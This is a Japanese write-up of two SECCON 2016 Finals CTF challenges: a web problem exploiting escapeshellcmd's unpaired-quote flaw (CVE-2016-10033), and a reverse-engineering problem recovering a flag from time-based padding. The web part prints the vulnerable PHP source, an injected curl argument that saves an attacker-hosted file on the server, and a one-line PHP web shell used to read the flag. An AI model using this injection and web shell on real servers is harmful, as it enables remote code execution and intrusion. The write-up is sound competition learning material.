2017/1/28と2017/1/29にSECCON 2016 FINALに行ってきました。SECCON IoTでの優勝による学生枠での出場でしたが、500ptを獲得した我々insecureは全24チーム中20位、学生8チーム中では4位という悔しい結果に終わりました。500ptのうち300ptはptr-yudaiが獲得し、のこりの200ptは私が獲得したので、そのwrite upを書きます。
CVE-2016-10033
jeopardyのweb問題でした。問題文は <サーバのIP>/FLAGhere とだけ書かれていて、そこにアクセスしようとするとForbiddenと言われました。とりあえず%00を末尾につけてみたり、POSTやPUTでアクセスしてみたりしましたがこれらはハズレでした。
こまったのでowasp-zapに投げると、なにやら/index.htmlというファイルが有ることがわかりました(普通はzapしなくてもわかる)。たいしたhtmlではなくて、コンテンツとしては "under construction" だけでしたが、すごく怪しい があって、href="css-selector.php?set=0"
とかしていました。そこでcss-selector.phpにアクセスすると、main.cssとmain-test.cssへのリンクが表示されました。それから少し解析して`?set=0&css=hogePとするとhogeファイルを見られることがわかりました。最初は/etc/passwdとかを見ていたのですが、そんなことをするよりも css-selector.php の中身を見ることが大事でした。css-selector.php はこんな感じでした。
<?php // by KeigoYAMAZAKI, 2017.01.23- session_start(); if(! isset($_SESSION['css'])) { $_SESSION['css'] = './main.css'; } if(isset($_GET['css'])) { $_SESSION['css'] = $_GET['css']; } if($_GET['set'] == '0') { header("Content-Type: text/css"); echo file_get_contents($_SESSION['css']); } elseif($_GET['menu'] == 'maintenance') { ?> <form action="?" method="GET"> <input type="text" name="host" value="127.0.0.1"> <input type="submit" name="tool" value="nmap"> <input type="submit" name="tool" value="curl"> </form> <?php } elseif($_GET['tool'] == 'nmap') { $cmd = "/usr/bin/nmap -sV -n -P0 -p22,25,80,443 \"".$_GET['host']."\""; $cmd = escapeshellcmd($cmd); echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n"; system("cd ./writabletmp/; pwd; $cmd 2>&1"); } elseif($_GET['tool'] == 'curl') { $cmd = "/usr/bin/curl \"http://".$_GET['host']."\""; $cmd = escapeshellcmd($cmd); echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n"; system("cd ./writabletmp/; pwd; $cmd 2>&1"); } else { ?> <li><a href="?css=./main.css">main.css</a> <li><a href="?css=./main-test.css">main-test.css</a> <?php } ?>
というわけで?menu=maintenanceとしてアクセスするとnmapかcurlを呼べることがわかりました。ここで詰まっていたのですが、ptr-yudaiにはなしを振ったら、escapeshellcmdでは対のダブルクオーテーションはエスケープされないという脆弱性を見つけ出してきてくれました。これを利用して、 a" -o "/var/www/html/writabletmp/hoge.html
とするとcurlしたファイルを保存できるところまでわかったので、自分のサーバに以下のようなtakoyaki.htmlを作って、これにアクセスさせ、takoyaki.phpとして保存させました。
<?php system($_GET['takoyaki']);
これでコードの実行ができるようになったので、?takoyaki=cat FLAGhere/*
みたいな感じにして SECCON{escapeshellcmd_CVE-2016-10033}
を得ました。
これだけにものすごい時間を取られて:(
welcome
jeopardyのrev問題でした。バイナリ を渡されて、問題文は
./welcome SECCON{*********} LFU70EN3M7{WW{6LS}O0037I9VKUMSE{VI2C84ZO9UGW154QEYFLYGHN9C0VVR0V94PMD582Y{XTOIJ1CXTM{CJX8UO8}EIO1{UKR0PSL{{TNHJDCH9GW}F50K}N93_H56E{5M6P45WDOBZDOVM055N6M{2EZD}4L7{4U9V7NK3NV{}{NAAIE4Z5_}YK2TI0H7A5R6SR_2683W9}{NAQV2CPD86JQ3}4G18TPCSQT{5F6PQUWZZ3OYFMSRLPJY1MSP3SO{B13MX6Y}NNEIF30INFV2DUAACZ0IGTW{PPGCIJQYUELA18FUEWLJO6XRNE4RFRLNRI58MQDSG}C5GYZOO64322VTWIP81_8X7B7_TYTSE0O6AOTBIOPQQLTMKXV8TZFBRPBEXU5TVLM0JAH1BI0OHP}QO3CQILQE1YORJXLSXJE4T60_AKCJH05CCFT8LTPV{C3PB8LN8O_R1BNS{WDC6}{IB}3JQO6{}EG_}NP_QTTI070ZDUITGWY3A8VKDIH1AJSNYTX5AUOZ0S2N}Y}B18X2N_9GYFZH5YEW{2KE09_C90O74HFSY9OZB4X2XCUGCRWDSFW7LDSAOYM5HOAP_HLZ1HHYQFV{QYTJNUWW37E1JPA3Q8DXP457EJ4T2}BSV7RT{4JYMPCTJESJM6MP7I9{37LQ1G5ZZ_ETZRCR2TCDAIXWP_P3QT5026YMZCFSDRPT6N2P7}OBDTJWF2SQKQOZ9OTFTX05NIL3MJY64EN_KTBDWUI8RJDO{UWTA}NGWZ8MS2UHC}_MP18DITIWEG0QXERNQ10E4C7HIVFM{EC9K1TG806NG}E494EP5L656ZN_QCZP9GT8F{S_V47G2YSYBEPJ}XL4C8CDXG24URF}FA_EA_HZKLQ0HJXMF_6XTNZJLAGJY6__5OASMJX4Z_WZVSKQS2ENZB_929TR0G2TTSLNSG0{6B64{}9C9T0G4WK2OD06N{0AHI{Q8KII4Z7LOX5WIO2XWZYJNT_VBA1BF0UHE8BEPW4ZSGLY4_WSMVJGUHF82W6SPSW5RJY9{11QBFZSOJ3JXSW2B3Q}3Z}H4W08AJNZK}DQ}}
みたいな感じでした。何度か実行してみると、同じ引数を与えても出力が違うことがあり、ptr-yudaiに聞くと中でtimeを使っている箇所があるとのことでした。言われて中身を覗きましたがよくわからなかったので、radare2とobjdumpとgdbを使って処理を追いかけ、3時間くらいかけてそれっぽいC言語のソースコードにしてみました。
#include <stdio.h> #include <time.h> #include <string.h> #include <stdlib.h> int main(int argc, char**argv) { int d = 0; char* s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789"; int c = 0; char*buf; c = strlen(argv[1]); //while (c < strlen(argv[1])) { // a = argv[1][c]; // esi = a; // c++; //} buf = (char*)malloc(strlen(argv[1]) << 5 + 1); c = 0; int i = 0; char *p; time_t t; int off; while (c < strlen(argv[1])) { i = 0; while (i <= 15) { t = (long)time(NULL); off = t % strlen(s); buf[d] = s[off]; d++; i++; } buf[d] = argv[1][c]; d++; i = 0; while (i <= 14) { t = (long)time(NULL); off = t % strlen(s); buf[d] = s[off]; d++; i++; } c++; } buf[d] = 0; puts(buf); }
しかしこれを実行しても welcome と同じ結果にはなりませんでした。こんな感じになります。
$ ./hoge SECCON{NOT_A_FLAG} YYYYYYYYYYYYYYYYSYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYEYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYTYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYFYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYLYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYGYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}YYYYYYYYYYYYYYY
このYは実行ごとにIになったりしたのでランダムですが、与えられたwelcomeのようにぐちゃあっとはなりませんでした。しかしこれが却って良くて、あきらかにargv[1]の値が飛び飛びで出力されていることがとても良くわかりました。
そこでYYYY……をaとして a[::16]
としたら YSYEYCYCYOYNY{YNYOYTY_YAY_YFYLYAYGY}
になり、 a[::16][1::2]
すると SECCON{NOT_A_FLAG}
とargv[1]が復元できたので、この部分はちゃんと解析できていることを祈って、問題文の出力に対しても同様の操作を行ったところ、 SECCON{WELCOME_TO_SECCON_CTF_2016}
が得られました。
writeup以外のこと
数日前から、 サーバからdefense keywordを抜いてくるscriptとか書いてましたが、そんなことをしている場合じゃなかった。defenseどころかattackすらできないで king of the hillではなくてjeopardyをやってしまった。なんかサーバがjavascriptで動的にdefense keywordを配置してるからとかいってseleniumを使うように修正したあの開始後一時間がものすごいもったいない。